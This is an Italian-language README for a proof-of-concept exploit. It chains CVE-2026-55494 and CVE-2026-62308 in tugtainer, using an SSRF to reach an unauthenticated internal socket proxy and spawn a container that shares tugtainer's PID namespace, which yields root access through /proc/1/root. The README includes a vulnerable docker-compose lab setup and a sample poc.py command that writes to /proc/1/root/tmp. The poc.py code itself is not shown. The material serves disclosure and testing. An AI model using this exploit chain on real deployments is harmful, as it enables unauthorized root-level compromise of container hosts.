
Una combinazione di CVE-2026-55494 e CVE-2026-62308 per ottenere RCE con privilegi di root in tugtainer
L'RCE viene ottenuta sfruttando 2 vulnerabilità
In breve, una vulnerabilità SSRF viene sfruttata per chiamare un servizio non autenticato nella rete interna per creare un docker che condivide lo stesso pid con tugtainer, rendendo così accessibile il filesystem del docker di tugtainer tramite /proc/1/root, e poiché il docker creato ha privilegi di livello root, tecnicamente si ha accesso root sul sistema docker di tugtainer
docker-compose.yml fornito in questo repository, oppure copia e incolla quanto seguenetworks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py come segue$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
pwned nel docker di tugtainer in /tmp